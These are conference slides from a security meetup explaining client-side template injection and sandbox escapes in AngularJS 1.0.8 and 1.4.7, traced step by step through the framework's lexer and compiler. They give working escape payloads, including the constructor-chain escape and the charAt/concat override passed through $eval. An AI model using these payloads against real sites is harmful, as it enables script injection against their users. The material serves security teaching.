XSS in AngularJS
[0x7A] - ØxOPOSɆC Mɇɇtuᵽ February 20, 2020
About me
-
Application Security team @ Farfetch
-
ruigodinho469@gmail.com
Agenda
-
Angular JS framework recap;
-
XSS in 2 versions of AngularJS.
https://slides.com/bbsteps/xss-in-angular-js/live
Before starting
Some stats
AngularJS
What about it?
A framework
-
Client-side;
-
Dynamic web apps;
-
Extends HTML syntax;
Main concepts
-
<Template></Template>
-
Directives
-
Controllers
-
Scope
<Template></Template>
-
Written in HTML;
-
With extra elements and attributes.
<div ng-app ng-init="qty=1;cost=2">
<b>Invoice:</b>
<div>
Quantity: <input type="number" min="0" ng-model="qty">
</div>
<div>
Costs: <input type="number" min="0" ng-model="cost">
</div>
<div>
<b>Total:</b> {{qty * cost | currency}}
</div>
</div>
Directives
-
Extends HTML with custom attributes.
<div ng-app ng-init="qty=1;cost=2">
<b>Invoice:</b>
<div>
Quantity: <input type="number" min="0" ng-model="qty">
</div>
<div>
Costs: <input type="number" min="0" ng-model="cost">
</div>
<div>
<b>Total:</b> {{qty * cost | currency}}
</div>
</div>
ng-app
-
Automatically initializes the application
<div ng-app ng-init="qty=1;cost=2">
<b>Invoice:</b>
<div>
Quantity: <input type="number" min="0" ng-model="qty">
</div>
<div>
Costs: <input type="number" min="0" ng-model="cost">
</div>
<div>
<b>Total:</b> {{qty * cost | currency}}
</div>
</div>
ng-model
-
Binds the "view" to the "model".
<div ng-app ng-init="qty=1;cost=2">
<b>Invoice:</b>
<div>
Quantity: <input type="number" min="0" ng-model="qty">
</div>
<div>
Costs: <input type="number" min="0" ng-model="cost">
</div>
<div>
<b>Total:</b> {{qty * cost | currency}}
</div>
</div>
<script>
var app = angular.module('myApp', []);
app.controller('myCtrl', function($scope) {
$scope.qty = 1;
$scope.cost = 2.5;
});
</script>
View
Model
<script> Controllers</script>
Main features
-
Can be attached to the DOM through the
ng-controller directive;
-
Defined by a JavaScript function;
-
Sets up the initial state of the $scope object.
<div ng-controller="myApp">
{{ qty * cost }}
</div>
<script>
var app = angular.module('myApp', []);
app.controller('myCtrl', function($scope) {
$scope.qty = 1;
$scope.cost = 2.5;
});
</script>
{{Double curly braces}}
-
{{expression | filter}} markup;
-
AngularJS replaces the markup with its value (aka the model);
-
The filter in the expression formats the value to be displayed to the user.
<div ng-app ng-init="qty=1;cost=2">
<b>Invoice:</b>
<div>
Quantity: <input type="number" min="0" ng-model="qty">
</div>
<div>
Costs: <input type="number" min="0" ng-model="cost">
</div>
<div>
<b>Total:</b> {{qty * cost | currency}}
</div>
</div>
$copes
The $scope object
-
Provides context;
-
Propagates model changes into the view.
The $eval() function
-
A scope property (i.e. scope.$eval()), already attached to it;
-
Similar to the normal Javascript eval function;
-
It does not evaluate arbitrary Javascript;
-
It evaluates AngularJS expressions;
-
scope.$eval(expression) <=> {{expression}}.
Version 1.0.8
A simple example
<html>
<body>
<form action="angular1.0.8.php">
<input type="text" size="70" name="q" value="<?php echo htmlspecialchars($_GET['q'], ENT_QUOTES); ?>">
<input type="submit" value="go">
</form>
</body>
</html>
<div ng-app>
<?php
$q = $_GET['q'];
echo htmlspecialchars($q, ENT_QUOTES);
?>
</div>
<div ng-app="" class="ng-scope">
<script>alert(1)</script>
</div>
Are we safe from XSS ??
Probably NOT
-
AngularJS creates a bypass;
-
Escaping the input is not enough;
-
Our input is reflected into an HTML element that has AngularJS enabled.
What is wrong ??
-
AngularJS apps should not be mixed with server side templating;
-
User input should not be used to generate templates dynamically.
How can we exploit it?
What happens if we try {{alert(1)}} ??
It does not execute
EMPTY
Lets have a look ...
Breakpoint 1
-
We are inside a function called getterFn();
-
code is a variable holding a string with some JavaScript code.
Breakpoint 1
var l, fn, p;
if(s === null || s === undefined) return s;
l=s;
s=((k&&k.hasOwnProperty("alert"))?k:s)["alert"];
if (s && s.then) {
if (!("$$v" in s)) {
p=s;
p.$$v = undefined;
p.then(function(v) {p.$$v=v;});
}
s=s.$$v
}
return s;
-
The code inside "code" checks if "alert" is a property of "k";
Checking for properties (recap)
-
"a" has the property 'b' but not property 'f';
-
You can access the properties value through dot notation or square brackets.
Breakpoint 1
-
Function('s', 'k', code) defines a new function, with 's' and 'k' as arguments for the 'code' body;
-
This is dynamically generated JavaScript code.
fn = Function('s', 'k', code); // s=scope, k=locals
Breakpoint 2
-
We are now inside a function called _functionCall();
function _functionCall(fn, contextGetter) {
// parse the arguments
var argsFn = [];
if (peekToken().text != ')') {
do {
argsFn.push(expression());
} while (expect(','));
}
consume(')');
// create a function that calls a function
return function(scope, locals){
var args = [],
...
for ( var i = 0; i < argsFn.length; i++) {
args.push(argsFn[i](scope, locals));
}
debugger;
// checking if function exists
var fnPtr = fn(scope, locals, context) || noop;
debugger;
return fnPtr.apply
? fnPtr.apply(context, args)
: fnPtr(args[0], args[1], args[2], args[3], args[4]);
};
}
Breakpoint 2
-
This function prepares arguments for a function call;
-
Our expression {{alert(1)}} attempts to call the function "alert()";
-
"_functionCall()" parses the parentheses of the expression and extracts the arguments (i.e. 1).
function _functionCall(fn, contextGetter) {
// parse the arguments
var argsFn = [];
if (peekToken().text != ')') {
do {
argsFn.push(expression());
} while (expect(','));
}
consume(')');
// create a function that calls a function
return function(scope, locals){
var args = [],
...
for ( var i = 0; i < argsFn.length; i++) {
args.push(argsFn[i](scope, locals));
}
debugger;
// checking if function exists
var fnPtr = fn(scope, locals, context) || noop;
debugger;
return fnPtr.apply
? fnPtr.apply(context, args)
: fnPtr(args[0], args[1], args[2], args[3], args[4]);
};
}
Breakpoint 2
-
The arguments are then placed in an array named "args".
Breakpoint 2
-
Below the breakpoint, there's a call to the function fn(scope, locals, context);
-
The "scope" argument represents the context of the application;
debugger;
// checking if function exists
var fnPtr = fn(scope, locals, context) || noop;
Breakpoint 2
-
fn() is a function calling another function: getter();
-
getter() is the result of getterFn() - a function that tries to get the property "alert" of an object.
var getter = getterFn(ident, csp);
Breakpoint 2 - conclusion
-
fn() tries to get the property "alert" from the object "scope";
debugger;
// checking if function exists
var fnPtr = fn(scope, locals, context) || noop;
Breakpoint 2 - conclusion
-
If "alert" was on the scope, fnPtr would contain a reference to the alert() function;
-
fnPtr will have the value of noop -> an empty function that does nothing.
debugger;
// checking if function exists
var fnPtr = fn(scope, locals, context) || noop;
In other words
So what can we access?
How to break out of the Scope ?
The scope constructors (recap)
-
The scope object is just another Javascript object;
-
It automatically has the constructor property;
-
This property returns the Object() constructor;
The scope constructors (recap)
-
The constructor of the Object() constructor returns the Function() constructor (the highest constructor in JavaScript);
What about the constructor of the Function() constructor??
The End of The Line
What can we do with the Function() constructor??
-
We can create any arbitrary JavaScript function;
-
We can then call that function by adding a second pair of parentheses.
Does it work inside an AngularJS expression?
-
We successfully escaped from the AngularJS sandbox
Version 1.4.7
constructor.constructor("alert(1)")() doesn't work anymore
Why??
Because ...
-
The AngularJS internals were changed;
-
Referencing Function() constructor in the new version is now disallowed;
-
Restriction applied by a new function called ensureSafeObject().
ensureSafeObject()
function ensureSafeObject(obj, fullExpression) {
debugger;
// nifty check if obj is Function that is fast and works across iframes and other contexts
if (obj) {
if (obj.constructor === obj) {
throw $parseMinErr('isecfn',
'Referencing Function in Angular expressions is disallowed! Expression: {0}',
fullExpression);
} else if (// isWindow(obj)
obj.window === obj) {
throw $parseMinErr('isecwindow',
'Referencing the Window in Angular expressions is disallowed! Expression: {0}',
fullExpression);
} else if (// isElement(obj)
obj.children && (obj.nodeName || (obj.prop && obj.attr && obj.find))) {
throw $parseMinErr('isecdom',
'Referencing DOM nodes in Angular expressions is disallowed! Expression: {0}',
fullExpression);
} else if (// block Object so that we can't get hold of dangerous Object.* methods
obj === Object) {
throw $parseMinErr('isecobj',
'Referencing Object in Angular expressions is disallowed! Expression: {0}',
fullExpression);
}
}
return obj;
}
Are we doomed??
Lets try the following
{{'a'.constructor.prototype.charAt='a'.concat; $eval('exploit=1} } };alert(1)//');}}
WTF???
In Portuguese please
-
Lets divide the expression into two parts:
-
'a'.constructor.prototype.charAt='a'.concat;
-
$eval('exploit=1} } };alert(1)//').
-
Part
'a'.constructor.prototype.charAt='a'.concat
-
charAt() is a standard String function that returns the character at the index given as parameter;
-
But what about the 'a'.constructor.prototype part?
-
'a'.constructor returns the String() constructor, common to every String object;
-
'a'.constructor.prototype.charAt lets us reference the function charAt() (inherited by all string objects).
'a'.concat function
-
Another standard String function that concatenates strings.
Overriding charAt() with concat()
charAt() is dead ehehe
-
AngularJS uses charAt() internally. What will happen?
Lets dig in...
Breakpoint 1 - the lexer
lex: function(text) {
this.text = text;
this.index = 0;
this.tokens = [];
// Javascript Lexer. loop over string and extract tokens
debugger;
while (this.index < this.text.length) {
...
}
}
}
Lexer (recap)
-
A lexer converts a sequence of characters into a sequence of tokens (the first step in a compiler);
Breakpoint 1 & 2- the lexer
-
The lexer is being called from "ast" (Abstract Syntax Tree) which is then called from "compile".
lex: function(text) {
this.text = text;
this.index = 0;
this.tokens = [];
// Javascript Lexer. loop over string and extract tokens
debugger;
while (this.index < this.text.length) {
...
}
}
}
-
AngularJS implements a compiler that takes an AngularJS expression and compiles it to real JavaScript.
{{expression}}
Lexer
Parser
More Magic ...
Back to the lexer
-
This function has one parameter, called "text";
-
"text" contains the current AngularJS expression;
lex: function(text) {
this.text = text;
this.index = 0;
this.tokens = [];
// Javascript Lexer. loop over string and extract tokens
debugger;
Tokens extraction - while loop
-
The while loop iterates over the full length of the text;
-
It uses text.charAt() to get the next character of the String;
-
In the end it returns an array of tokens.
while (this.index < this.text.length) {
var ch = this.text.charAt(this.index);
...
}
debugger;
// tokens contains the parsed Javascript tokens. identifiers, operators, ...
return this.tokens;
Token[0]
-
The first token is the string 'a';
-
Because it's a fixed string, the Object has the "constant" property equal to "true".
Token[1]
-
The next token is the dot ('.') between the string and the constructor.
Token[2]
-
The third token is the constructor;
-
It is considered an identifier;
-
All variable names as well as function names are identifiers.
Token[7]
-
The eighth token is the equal ("=") which is an operator.
What happens next?
-
The lexical analysis for extracting the tokens was the start of the compilation process;
-
We will skip the next compilation steps and we will look now at the result of the whole compilation.
{{expression}}
Lexer
Parser
More Magic ...
Breakpoint 3 - fnString variable
-
It contains a string with the compiled JavaScript code.
"use strict";
var fn = function(s, l, a, i) {
var v0, v1, v2, v3, v4, v5, v6, v7, v8, v9 = l && ('\u0024eval' in l),
v10;
v4 = 'a';
if (v4 != null) {
if (!(v4.constructor)) {
v4.constructor = {};
}
v3 = ensureSafeObject(v4.constructor, text);
} else {
v3 = undefined;
}
if (v3 != null) {
if (!(v3.prototype)) {
v3.prototype = {};
}
v1 = v3.prototype;
} else {
v1 = undefined;
}
if (v1 != null) {
v2 = v1.charAt;
} else {
v2 = undefined;
}
if (v1 != null) {
v5 = 'a';
if (v5 != null) {
v0 = v5.concat;
} else {
v0 = undefined;
}
ensureSafeObject(v1.charAt, text);
ensureSafeAssignContext(v1, text);
}
v1.charAt = v0;
v8 = v9 ? l : s;
if (!(v9)) {
if (s) {
v7 = s.$eval;
}
} else {
v7 = l.$eval;
}
if (v7 != null) {
ensureSafeFunction(v7, text);
v10 = 'exploit\u003d1\u007d \u007d \u007d\u003balert\u00281\u0029\u002f\u002f';
ensureSafeObject(v8, text);
v6 = ensureSafeObject(v8.$eval(ensureSafeObject('exploit\u003d1\u007d \u007d \u007d\u003balert\u00281\u0029\u002f\u002f', text)), text);
} else {
v6 = undefined;
}
return v6;
};
return fn;
Lets have a look
Variable 4 equals 'a'
-
This code starts like the Angular expression (with the string 'a');
-
Stores it in the variable 4.
Variable 4 constructor
-
Then it attempts to get the constructor from variable 4;
Variable 4 constructor safetyness
-
ensureSafeObject() checks if the constructor is the Function constructor, i.e. this.constructor === self;
-
Because it's a String constructor, it's considered safe.
Variable 3 constructor prototype
-
After that the constructor is moved into variable 3;
-
It then checks if it has the property "prototype".
Variable 1 stores prototype
-
If the constructor (stored in variable 3) contains the property "prototype", the reference to "prototype" is stored in variable 1.
Check for charAt() property
-
The charAt() property of the String "prototype" is stored in variable 2.
Right side of the assignment
-
String 'b' is moved into variable 5.
Variable 5 concat() property reference
-
The concat() property of variable 5 is stored in variable 0.
Variable 1 charAt() property safe check
-
Angular checks if the charAt() property of variable 1 is a safe object;
-
Because it is just a normal charAt() function, it is considered safe.
Variable 1 safe check
-
Variable 1 itself is checked because we are about to assign something to the String "prototype" in variable 1;
-
Angular wants to be sure that it is safe to assign something to that object.
The core of the problem
-
We assign the concat() function (in variable 0) to the charAt() function of the String "prototype" (stored in variable 1).
Part II
-
$eval('exploit=1} } };alert(1)//')
Variable 7 stores $eval
-
$eval, from the "scope" (s) is stored in variable 7.
Validation of $eval and its argument
-
The $eval() function is validated for safety insurance;
-
The expression that gets inside $eval() is also checked;
-
Safety is guaranteed and $eval() will be called which initiates another parsing, compilation and execution of the second expression.
Back to the Breakpoint 3
-
"fnString"
contains the compiled JavaScript code;
-
It is passed to the Function() constructor;
-
This will create an actual function (stored in "fn");
-
In the end "fn" is returned.
debugger;
var fn = (new Function('$filter',
'ensureSafeMemberName',
'ensureSafeObject',
'ensureSafeFunction',
'getStringValue',
'ensureSafeAssignContext',
'ifDefined',
'plus',
'text',
fnString))(
this.$filter,
ensureSafeMemberName,
ensureSafeObject,
ensureSafeFunction,
getStringValue,
ensureSafeAssignContext,
ifDefined,
plusFn,
expression);
...
return fn;
Breakpoint 4
Inside ensureSafeObject()
-
In the Call Stack we can see that we are coming from fn(), an already compiled function;
function ensureSafeObject(obj, fullExpression) {
debugger;
if (obj) {
...
}
}
The looks of fn()
-
It looks familiar;
-
It is "fnString" but in a function form (instead of just a string);
var fn = function(s, l, a, i) {
var v0, v1, v2, v3, v4, v5, v6, v7, v8, v9 = l && ('\u0024eval'in l), v10;
v4 = 'a';
if (v4 != null) {
if (!(v4.constructor)) {
v4.constructor = {};
}
v3 = ensureSafeObject(v4.constructor, text);
} else {
v3 = undefined;
}
if (v3 != null) {
if (!(v3.prototype)) {
v3.prototype = {};
...
}
...
}
...
}
Breakpoint 5
Again in ensureSafeObject()
-
This time further down in the code of the fn() function;
-
Actually right before we assign and overwrite charAt().
if (v1 != null) {
v5 = 'a';
if (v5 != null) {
v0 = v5.concat;
} else {
v0 = undefined;
}
ensureSafeObject(v1.charAt, text);
ensureSafeAssignContext(v1, text);
Breakpoint 6
Inside ensureSafeAssignContext()
-
The last check before the assignment and the overwriting of charAt().
ensureSafeObject(v1.charAt, text);
ensureSafeAssignContext(v1, text);
}
v1.charAt = v0;
A few steps more ...
Inside of the Lexer again
-
Why are we here again?
-
We are coming from fn();
-
And fn() called $eval();
lex: function(text) {
this.text = text;
this.index = 0;
this.tokens = [];
// Javascript Lexer. loop over string and extract tokens
debugger;
v6 = ensureSafeObject(v8.$eval(ensureSafeObject('exploit\u003d1\u007d \u007d \u007d\u003balert\u00281\u0029\u002f\u002f', text)), text);
-
$eval() is called which initiates another parsing, compilation and execution of the expression inside.
{{expression}}
Lexer
Parser
More Magic ...
Here we go again
As expected
-
the "text" in lex is simply what we have passed to $eval();
The cycle repeats itself
-
We are about to enter again into the while loop that extracts single tokens from this new character sequence.
while (this.index < this.text.length) {
var ch = this.text.charAt(this.index);
...
}
debugger;
// tokens contains the parsed Javascript tokens. identifiers, operators, ...
return this.tokens;
Inside the while loop
-
The index starts again at 0;
-
AngularJS tries to get the first character from "text" using charAt().
while (this.index < this.text.length) {
var ch = this.text.charAt(this.index);
...
}
debugger;
// tokens contains the parsed Javascript tokens. identifiers, operators, ...
return this.tokens;
charAt() is not charAt() anymore
-
charAt(0) appends now '0' to the string instead of returning a single character;
-
"ch" is super long and not a start of a String;
while (this.index < this.text.length) {
var ch = this.text.charAt(this.index);
if (ch === '"' || ch === "'") {
this.readString(ch);
...
}
debugger;
// tokens contains the parsed Javascript tokens. identifiers, operators, ...
return this.tokens;
NaN ??
-
It's obviously not a number.
while (this.index < this.text.length) {
var ch = this.text.charAt(this.index);
...
else if (this.isNumber(ch) || ch === '.' && this.isNumber(this.peek())) {
...
}
debugger;
// tokens contains the parsed Javascript tokens. identifiers, operators, ...
return this.tokens;
isIdent() validation
-
isIdent() thinks that "ch" is now an identifier;
-
Only variables and functions names are identifiers;
-
Identifiers usually
do not contain special characters, such as: "=", "{", "}" ...
while (this.index < this.text.length) {
var ch = this.text.charAt(this.index);
...
else if (this.isIdent(ch)) {
this.readIdent();
...
}
debugger;
// tokens contains the parsed Javascript tokens. identifiers, operators, ...
return this.tokens;
The end of the loop
-
If we continue now to the end of the loop and look at the tokens, we can see that there's only one token;
-
An identifier with our whole string.
The end of compilation
-
The next breakpoint hits the end of compilation;
-
There we can have a look at the resulting JavaScript code.
"use strict";
var fn = function(s, l, a, i) {
var v5, v6 = l && ('exploit\u003d1\u007d \u007d \u007d\u003balert\u00281\u0029\u002f\u002f' in l);
if (!(v6)) {
if (s) {
v5 = s.exploit = 1
}
}
};
alert(1) //;}}else{v5=l.exploit=1} } };alert(1)//;}return v5;};fn.assign=function(s,v,l){var v0,v1,v2,v3,v4=l&&('exploit\u003d1\u007d \u007d \u007d\u003balert\u00281\u0029\u002f\u002f' in l);v3=v4?l:s;if(!(v4)){if(s){v2=s.exploit=1} } };alert(1)//;}}else{v2=l.exploit=1} } };alert(1)//;}if(v3!=null){v1=v;ensureSafeObject(v3.exploit=1} } };alert(1)//,text);ensureSafeAssignContext(v3,text);v0=v3.exploit=1} } };alert(1)//=v1;}return v0;};return fn;
The second part reveals itself
-
The second part of the exploit is now on the JavaScript code;
-
It's embedded as a scope property since all expressions are evaluated against the scope object;
-
Because AngularJS thought that we had an identifier on our expression, it placed that identifier in the compiled code when checking if the scope object has such a property;
-
This blows up because the identifier has non-valid characters.
v5 = s.exploit = 1
}
}
};
debugger;
alert(1) //;
The last breakpoint
-
The last breakpoint is set inside the compiled code, right before the alert() function;
-
When we hit continue, an alert pops out.
v5 = s.exploit = 1
}
}
};
debugger;
alert(1) //;
Conclusion
-
We overrode the charAt() function that is shared by string objects;
-
This will break how Angular evaluates expressions;
-
Allowing us to inject bad characters as an identifier in the compiled code;
-
Which will then break out of the sandbox and execute arbitrary JavaScript code.
Additional payloads
Based on the following documentation:
-
Gareth Heyes (@garethheyes) - XSS without HTML: Client-Side Template Injection with AngularJS
-
Mario Heiderich @0x6d6172696f (https://cure53.de/)
-
LiveOverflow Angular XSS Youtube videos
-
https://angularjs.org/
-
https://www.similartech.com/technologies/angular-js
?? Questions ??
XSS in Angular JS
By bbsteps
XSS in Angular JS
- 301